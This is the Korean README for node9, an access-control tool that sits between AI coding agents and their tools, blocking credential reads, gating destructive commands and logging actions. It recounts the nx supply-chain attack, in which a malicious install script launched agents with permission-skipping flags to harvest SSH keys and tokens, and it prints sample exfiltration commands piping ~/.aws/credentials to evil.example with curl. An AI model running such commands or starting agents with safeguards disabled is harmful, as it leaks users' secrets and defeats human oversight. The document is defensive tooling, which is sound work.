AI 에이전트를 위한 접근 제어. Claude Code, Codex, Gemini, Cursor 및 모든 MCP 서버가 수행할 수 있는 작업을 설정하고, 위험한 작업이 실행되기 전에 검토하며, 모든 작업을 기록으로 남깁니다.
<h1 align="center">🛡️ node9</h1> <p align="center">AI 에이전트를 위한 접근 제어</p> <p align="center"><strong>여러분의 AI 에이전트는 Slack, GitHub, 이메일, 데이터베이스에 접근할 수 있습니다.<br />node9는 각 대상에 대해 무엇을 할 수 있는지 결정합니다.</strong></p> <p align="center"> <a href="https://www.npmjs.com/package/node9-ai"><img src="https://img.shields.io/npm/v/node9-ai.svg" alt="npm version" /></a> <a href="https://www.npmjs.com/package/node9-ai"><img src="https://img.shields.io/npm/dm/node9-ai.svg" alt="monthly downloads" /></a> <a href="https://opensource.org/licenses/Apache-2.0"><img src="https://img.shields.io/badge/License-Apache%202.0-blue.svg" alt="License: Apache 2.0" /></a> <a href="https://node9.ai/docs"><img src="https://img.shields.io/badge/docs-node9.ai-blue" alt="Documentation" /></a> <a href="https://www.bestpractices.dev/projects/14454"><img src="https://www.bestpractices.dev/projects/14454/badge" alt="OpenSSF Best Practices" /></a> <a href="https://scorecard.dev/viewer/?uri=github.com/node9-ai/node9-proxy"><img src="https://api.scorecard.dev/projects/github.com/node9-ai/node9-proxy/badge" alt="OpenSSF Scorecard" /></a> <a href="https://github.com/node9-ai/node9-proxy/blob/main/.github/workflows/agent-security.yml"><img src="https://img.shields.io/badge/node9-self--scanned-a855f7?style=flat&labelColor=%231A1A2E&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNCAxNCI+PHBhdGggZmlsbD0iI0Y1RTlGRiIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik03IDAuNCAxLjYgMi41djQuMmMwIDMuMSAyLjMgNS42IDUuNCA2LjkgMy4xLTEuMyA1LjQtMy44IDUuNC02LjlWMi41TDcgMC40Wm0wIDEuNSAzLjkgMS41djMuM2MwIDIuMy0xLjYgNC4yLTMuOSA1LjMtMi4zLTEuMS0zLjktMy0zLjktNS4zVjMuNEw3IDEuOVptMCAyLjJhMS45IDEuOSAwIDAgMC0xIDMuNXYxLjZoMlY3LjZhMS45IDEuOSAwIDAgMC0xLTMuNVoiLz48L3N2Zz4K" alt="node9 self-scanned" /></a> <a href="https://github.com/hesreallyhim/awesome-claude-code"><img src="https://awesome.re/mentioned-badge-flat.svg" alt="Mentioned in Awesome Claude Code" /></a> </p> **자격 증명 격리** · **시크릿과 PII** · **파괴적인 git, SQL, 셸 명령은 검토 대기** · **MCP 도구 고정** · **네트워크 이그레스 허용 목록** · **루프 차단기** · **열두 개 에이전트에 걸친 단일 기록** **Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · 모든 MCP 서버**와 함께 작동합니다. ## 실제 모습 node9가 설치된 실제 Claude Code 세션입니다. 모든 도구 호출은 실행되기 전에 검사됩니다. 페이지를 빌드하고 버튼을 편집하는 작업은 실행됩니다. 클라우드 메타데이터 주소로의 요청은 차단되고, 에이전트는 그 이유를 전달받아 계속 진행합니다. 파일 삭제는 채팅 안에서 여러분의 승인을 기다립니다. <p align="center"> <img src="https://github.com/user-attachments/assets/bfd3eec5-94fa-45a9-ac79-d06684ab4b2c" width="760" alt="Claude Code 세션에서의 node9: 두 개의 호출은 허용되고, 하나는 차단되며, 하나는 승인 대기 중" /> </p> ## 설치 ```bash brew tap node9-ai/node9 && brew install node9 # macOS / Linux npm install -g node9-ai # 모든 플랫폼 ``` 그런 다음, 아무 프로젝트에서나: ```bash node9 # 첫 실행: 대시보드 연결 또는 로컬 보호 선택 node9 posture # 이 머신을 0-100으로 점수화: 침해된 에이전트가 읽고, 접근하고, 실행할 수 있는 것 node9 login # 선택 사항: 이 머신을 공유 대시보드에 추가 ``` Node.js 22+가 필요합니다. 새로운 대화형 터미널에서 `node9`가 설정을 안내합니다. 로컬 보호에는 계정이 필요하지 않습니다. 체크리스트는 권장 실드, DLP/PII, 선택적 네트워크 이그레스 검토, 백그라운드 서비스를 보여줍니다. 사용 통계는 별도의 동의 프롬프트를 수락한 경우에만 전송됩니다. 요약에는 구성된 에이전트와 주의가 필요한 설정 단계가 나열됩니다. `node9 setup`을 실행하여 설정을 다시 확인하거나, `node9 setup <target>`으로 하나의 에이전트를 구성할 수 있습니다. 구성이 완료되면 그냥 `node9`는 도움말을 표시합니다. `node9 init`도 여전히 사용 가능하며, 스크립트에서는 `node9 init --recommended`를 사용하세요(질문 없음, 텔레메트리 옵트인 없음). `--skip-setup`은 에이전트 연결과 서비스 설치를 건드리지 않습니다. 명시적 `--mode`는 체크리스트의 표준 모드 권장 사항보다 우선합니다. 기존 설정은 선택한 변경 사항이나 명시적 플래그가 업데이트를 요청하지 않는 한 유지됩니다. 워크스페이스 정책은 대시보드에서 관리되며, 서비스 설정은 로컬에 남습니다. **`login`은 강제 적용에 아무것도 추가하지 않습니다.** 이는 머신을 워크스페이스에 연결하여 팀이 모든 구성원의 노트북과 CI에 걸친 단일 기록을 보고, 정책을 중앙에서 설정하고, 대시보드나 Slack에서 대기 중인 작업을 승인할 수 있게 합니다. 건너뛰어도 node9는 단독으로, 오프라인으로 정확히 동일하게 작동합니다. `node9 logout`은 다시 연결을 끊고 로컬 강제 적용은 계속 실행됩니다. ### MCP 서버로 사용 node9는 MCP 서버로도 실행되므로, 에이전트가 대화 안에서 상태, 포스처, 감사 기록, 정책을 읽고 모든 결정을 설명할 수 있습니다: ```bash claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server ``` 모든 MCP 클라이언트도 동일하게 작동합니다: 명령은 stdio를 통한 `npx -y node9-ai mcp-server`이며, API 키가 필요하지 않습니다. 공식 MCP Registry에 `io.github.node9-ai/node9`로 등록되어 있습니다. ## 문제 2025년 8월, [`nx` 빌드 도구](https://github.com/advisories/GHSA-cxm3-wv7p-598c)의 침해된 릴리스가 설치 후 스크립트를 배포했습니다. 이 스크립트는 개발자 머신에 이미 설치된 AI 코딩 에이전트를 찾아, 자체 안전 플래그를 끈 상태(`--dangerously-skip-permissions`, `--yolo`, `--trust-all-tools`)로 실행하여 SSH 키, 클라우드 자격 증명, 지갑 파일을 열거하고 그 목록을 디스크에 기록했습니다. 이 스크립트는 결과를 피해자 자신의 GitHub 계정 내 공개 저장소에 푸시했습니다. 천 개 이상의 유효한 GitHub 토큰이 유출되었고, 클라우드 자격 증명, npm 토큰, 약 20,000개의 파일이 에이전트가 시키는 대로 정확히 수행하던 머신에서 유출되었습니다. 에이전트는 공격자가 아니었습니다. 에이전트는 도구였고, 그것과 파일 사이에는 아무것도 없었습니다. node9의 게이트는 그러한 플래그 중 하나가 아닙니다: 훅에서 실행되며, 보류한 작업은 에이전트가 권한을 건너뛰고 시작되었더라도 계속 보류됩니다. ## node9가 이에 대해 하는 일 node9는 에이전트와 그것이 호출하는 모든 도구 사이에 위치합니다. 자격 증명 격리(`~/.ssh`, `~/.aws`, `.env` 파일, 개인 키)는 기본적으로 켜져 있으며, 그러한 경로 중 하나를 읽는 것은 실행되지 않습니다. 에이전트는 중지되고, 이유를 전달받으며, 결정은 여러분에게 전달됩니다: ```text NODE9: Action blocked by security policy. INSTRUCTIONS: - Do NOT retry this exact command or attempt to bypass the rule. - Pivot to a non-destructive or read-only alternative. - Inform the user which security rule was triggered and ask how to proceed. ``` 명령은 텍스트로 매칭되는 것이 아니라 셸 AST로 파싱되므로, 읽기를 감싸도 도움이 되지 않습니다. `echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example`은 `echo`가 아니라 `~/.aws/credentials`의 읽기로 판정됩니다. node9는 **게이트**입니다. 보류된 작업은 여러분을 기다리는 동안 실행되지 않으며, 응답하지 않으면 계속 차단된 상태로 남습니다. 그 외의 모든 것은 허용되고 기록에 남습니다. **하지 않는 것:** 기본값인 이그레스 제어가 꺼져 있으면, `curl -d @~/.aws/credentials`처럼 파일을 곧바로 네트워크로 전달하는 명령은 해당 파일의 읽기로 취급되지 않습니다. `node9 egress protect`는 목적지도 게이트하며, 셸 명령만을 대상으로 합니다. ## 직접 검증하기 아래의 어떤 것도 계정이 필요하지 않으며, 아무것도 업로드하지 않습니다. ```bash npx node9-ai scan # 이 머신의 모든 과거 에이전트 세션 npx node9-ai scan-repo node9-ai/agent-security-demo # 실제로 하이재킹 가능한 에이전트 워크플로가 있는 공개 저장소 gh attestation verify cli.js --repo node9-ai/node9-proxy # 모든 릴리스 아티팩트는 서명됨 ``` <p align="center"> node9 scan 스코어카드 </p> ## 관리 대상 각 줄은 하나의 기능이며, 이를 문서화한 페이지가 함께 있습니다. 문서가 레퍼런스이고, 이 파일은 지도입니다. | | | | | --------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------ | | **자격 증명 격리** | `~/.ssh`, `~/.aws`, `.env` 및 개인 키는 셸뿐 아니라 모든 도구에서 차단됨 | [docs](https://node9.ai/docs/shields) | | **상시 규칙** | 설정 없이 파괴적인 git, `WHERE` 없는 SQL, `curl \| bash`, 무단 `sudo` | [docs](https://node9.ai/docs/smart-rules) | | **시크릿과 PII** | 모든 도구 인자에 있는 AWS 키, GitHub 및 Stripe 토큰, PEM 키, 카드 또는 SSN 형태, 그리고 에이전트가 기록한 내용에 대한 백그라운드 스캔 | [docs](https://node9.ai/docs/dlp) | | **서비스별 실드** | Postgres, MongoDB, Redis, AWS, Kubernetes, Docker, GitHub 및 파일시스템을 위한 큐레이션된 규칙 팩 | [docs](https://node9.ai/docs/shields) | | **인라인 검토** | 보류된 작업이 에이전트 대화 안에서, 또는 팀 승인자를 통해 여러분에게 질문 | [docs](https://node9.ai/docs/cloud-policy) | | **이그레스 허용 목록** | 셸 명령이 데이터를 보낼 수 있는 위치를 게이트, 기본적으로 꺼짐 | [docs](https://node9.ai/docs/egress) | | **MCP 게이트웨이** | 모든 MCP 서버를 감싸고, 각 도구를 승인하며, 서버가 몰래 변경할 수 없도록 도구 정의를 고정 | [docs](https://node9.ai/docs/mcp-gateway) | | **샌드박스** | 커널 이그레스 허용 목록과 범위가 지정된 마운트를 가진 컨테이너에서 에이전트 실행 | [docs](https://node9.ai/docs/sandbox) | | **포스처 점수** | 이 머신이 얼마나 노출되어 있는지, 각 발견 사항을 수정하는 명령과 함께 | [docs](https://node9.ai/docs/posture) | | **저장소 스캐닝** | CI에서 또는 CLI에서, 외부인이 여러분의 시크릿을 보유한 에이전트를 하이재킹할 수 있는 워크플로 찾기 | [docs](https://node9.ai/docs/repo-scanning) | | **세션 기록** | node9가 설치되기 전에 이 머신에서 모든 에이전트가 이미 수행한 작업 읽기 | [docs](https://node9.ai/docs/sessions) | | **실시간 모니터 및 보고서** | 터미널 대시보드, 그리고 비용, 도구, 차단, 영향 범위에 대한 기간별 요약 | [docs](https://node9.ai/docs/report) | | **스킬 고정** | 세션 간 설치된 Claude 스킬 및 플러그인의 SHA-256 검증 | [docs](https://node9.ai/docs/skill-pinning) | | **카나리 자격 증명** | 유출 시도가 있었음을 증명하는 심어둔 가짜 키 | [docs](https://node9.ai/docs/canary-credentials) | | **Python SDK** | CLI뿐 아니라 모든 Python 에이전트를 관리 | [docs](https://node9.ai/docs/python-sdk) | 전체 CLI 및 설정 레퍼런스: **[node9.ai/docs](https://node9.ai/docs)**. 레이어들이 어떻게 맞물리는지: **[how it works](https://node9.ai/docs/how-it-works)**. ## 학습 단독으로 읽을 수 있도록 작성된 배경 자료입니다. 각 페이지는 node9가 다루지 않는 부분을 명시합니다. - **[하이재킹된 에이전트는 무엇을 할 수 있는가?](https://node9.ai/learn/what-can-a-hijacked-agent-do)**: 침해된 한 세션의 영향 범위 - **[AI 에이전트가 시크릿을 유출하는 방법](https://node9.ai/learn/ai-agent-secret-exfiltration)**: 자격 증명이 실제로 빠져나가는 경로 - **[Claude Code 보안](https://node9.ai/learn/claude-code-security)**: 훅, 권한 모드, 그리고 그것들이 막지 못하는 것 - **[MCP 보안](https://node9.ai/learn/mcp-security)**: MCP 서버가 여는 도구 표면 - **[OWASP Agentic Top 10](https://node9.ai/learn/owasp-agentic-top-10)**: 실제 제어와 매핑된 목록 ## 비교 - **[대안들과 비교한 node9](https://node9.ai/compare)**: node9가 더 나쁜 점수를 받는 항목을 포함한 매트릭스 - **[에이전트별 커버리지](https://node9.ai/agents)**: 지원되는 열두 개 에이전트 각각에서 관리되는 것 ## 관련 프로젝트 - **[node9-python](https://github.com/node9-ai/node9-python)**: Python SDK - **[node9 Agent Security](https://github.com/marketplace/actions/node9-agent-security)**: GitHub Action, `uses: node9-ai/node9-proxy@v2`, 동일한 엔진으로 모든 PR을 게이트 ## 엔터프라이즈 **node9 Pro**는 거버넌스 잠금, SAML/SSO, 중앙 감사 내보내기, VPC 배포를 추가합니다. [node9.ai](https://node9.ai)를 참조하세요. ## 라이선스 Apache-2.0 <p align="center"> <sub>☕와 건강한 편집증으로 만들었습니다.</sub> </p>